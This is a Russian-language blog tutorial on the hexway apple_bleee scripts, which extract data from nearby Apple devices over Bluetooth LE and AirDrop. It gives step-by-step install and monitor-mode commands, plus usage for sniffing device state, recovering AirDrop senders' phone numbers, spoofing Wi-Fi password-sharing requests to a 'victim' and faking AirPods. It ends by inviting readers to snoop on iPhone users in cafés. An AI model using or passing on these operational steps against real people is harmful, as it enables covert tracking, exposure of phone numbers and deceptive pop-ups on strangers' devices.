Получение информации об устройстве apple, уязвимость AirDrop

Статья предоставлена исключительно в ознакомительных целях! Мы не несём ответственность за ваши действия

Эта статья об уязвимости яблочной системы, которая с помощью скриптов позволяет многое:

От состояния устройства до номера телефона. Мы с вами разберём пример использования скриптов, которые эксплуатируют данную уязвимость.

Исследователи из Hexway выяснили, что стандартный и активно используемый механизм Bluetooth LE (BLE) позволяет узнать довольно многое про яблочное устройство.

Если Bluetooth включен, то любой человек в радиусе действия сигнала может узнать:

  • состояние устройства;
  • информацию о заряде;
  • имя устройства;
  • состояние Wi-Fi;
  • доступность буфера;
  • версию iOS;
  • номер телефона.

Эти скрипты представляют собой экспериментальные PoC, которые показывают, что может получить злоумышленник от устройств Apple, если перехватывает трафик Bluetooth.

Требования

Чтобы использовать эти скрипты, вам понадобится адаптер Bluetooth для отправки сообщений BLE и карта Wi-Fi, поддерживающая активный режим монитора с инжектом кадров для связи с использованием AWDL (AirDrop). Рекомендуется чип Atheros AR9280 (IEEE 802.11n), который использовался для разработки и тестирования этого кода.

Для полноценной работы скриптов, устройство должно быть на iOS 13 и ниже. С iOS 14 данные скрипты не работают.

Установка

Пошагово, в терминале kali linux прописываем команды:

Клонируем репозиторий:
git clone https://github.com/hexway/apple_bleee.git cd ./apple_bleee

 

# Устанавливаем необх.модули:
sudo apt update sudo apt install -y bluez libpcap-dev libev-dev libnl-3-dev libnl-genl-3-dev libnl-route-3-dev cmake libbluetooth-dev
sudo pip3 install -r requirements.txt

 

# клонируем и устанавливаем owl для AWDL интерфейса
git clone https://github.com/seemoo-lab/owl.git cd ./owl git submodule update --init mkdir build cd build cmake .. make sudo make install cd ../..

 

Начало использования

Прежде чем использовать эти скрипты, проверьте свой bluetooth адаптер:

прописываем hcitool dev

hcitool dev
Devices:
hci0 00:1A:7D:DA:71:13

 

Если после devices у вас ничего нет, то прописываем в терминале следующее:

sudo hciconfig hci0 up

Возвращаемся к прошлому пункту и проверяем адаптер.

 

1.Скрипт: ble_read_state.py

 

Этот скрипт прослушивает трафик BLE и отображает сообщения о состоянии с устройств Apple. Более того, инструмент обнаруживает запросы на обмен паролями с устройств Apple. В этих пакетах мы можем получить первые 3 байта sha256 (phone_number) и попытаться угадать исходный номер телефона, используя подготовленные таблицы с хеш-значениями телефона.

Для запуска мониторинга запускаем данный скрипт при помощи команды:

sudo python3 ble_read_state.py

 

 

нажмите Ctrl+q для выхода

 

2. Скрипт: airdrop_leak.py

Этот скрипт позволяет получить номер мобильного телефона любого пользователя, который попытается отправить файл через AirDrop.

Для этого скрипта понадобится AWDL интерфейс:

переводим адаптер в режим монитора командой:

 

ifconfig wlan0 down iwconfig wlan0 mode monitor ifconfig wlan0 up

# переводим адаптер в режим монитора и запускаем owl

sudo iwconfig wlan0 mode monitor sudo ip link set wlan0 up sudo owl -i wlan0 -N

 

Теперь можно запускать скрипт:

 

python3 airdrop_leak.py

usage: airdrop_leak.py [-h] [-c] [-n] [-m]

Apple AirDrop phone number catcher
---chipik

optional arguments:
-h, --help show this help message and exit
-c, --check_hash Get phone number by hash
-n, --check_phone Get user info by phone number (TrueCaller/etc)
-m, --message Send iMessage to the victim

 

Без параметров скрипт просто отображает хэш телефона и IPv6-адрес отправителя.

sudo python3 airdrop_leak.py

 

 

3. Скрипт: adv_wifi.py

Этот скрипт отправляет сообщения BLE с запросом на использование пароля WiFi. Этот PoC показывает, что злоумышленник может вызвать всплывающее сообщение на целевом устройстве, если он знает любой телефон / адрес электронной почты, который существует на устройстве жертвы.

 

python3 adv_wifi.py

usage: adv_wifi.py [-h] [-p PHONE] [-e EMAIL] [-a APPLEID] -s SSID
[-i INTERVAL]

WiFi password sharing spoofing PoC
---chipik

optional arguments:
-h, --help show this help message and exit
-p PHONE, --phone PHONE
Phone number (example: 39217XXX514)
-e EMAIL, --email EMAIL
Email address (example: test@test.com)
-a APPLEID, --appleid APPLEID
Email address (example: test@icloud.com)
-s SSID, --ssid SSID WiFi SSID (example: test)
-i INTERVAL, --interval INTERVAL
Advertising interval

 

Для запроса пароля Wi-Fi нам необходимо указать любой контакт (адрес электронной почты / телефон), который существует в контактах жертвы, и SSID сети Wi-Fi, которую жертва знает.

 

sudo python3 adv_wifi.py -e pr@hexway.io -s hexway

 

 

4. Скрипт: adv_airpods.py

Этот скрипт имитирует AirPods, отправляя BLE запросы

 

python3 adv_airpods.py

usage: adv_airpods.py [-h] [-i INTERVAL] [-r]

AirPods advertise spoofing PoC
---chipik

optional arguments:

-h, --help show this help message and exit

-i INTERVAL, --interval INTERVAL

Advertising interval

-r, --random Send random charge values

 

Отправим сообщения BLE со случайными значениями заряда наушников:

sudo python3 adv_airpods.py -r

 

 

Ну как то так, так что держитсь айфоны, теперь каждый купит себе блютуз флешку и будет в кофе сидеть смотреть что же вы в своем айфоне делаете.




Hidden Bot

58 Блог постов


Комментарии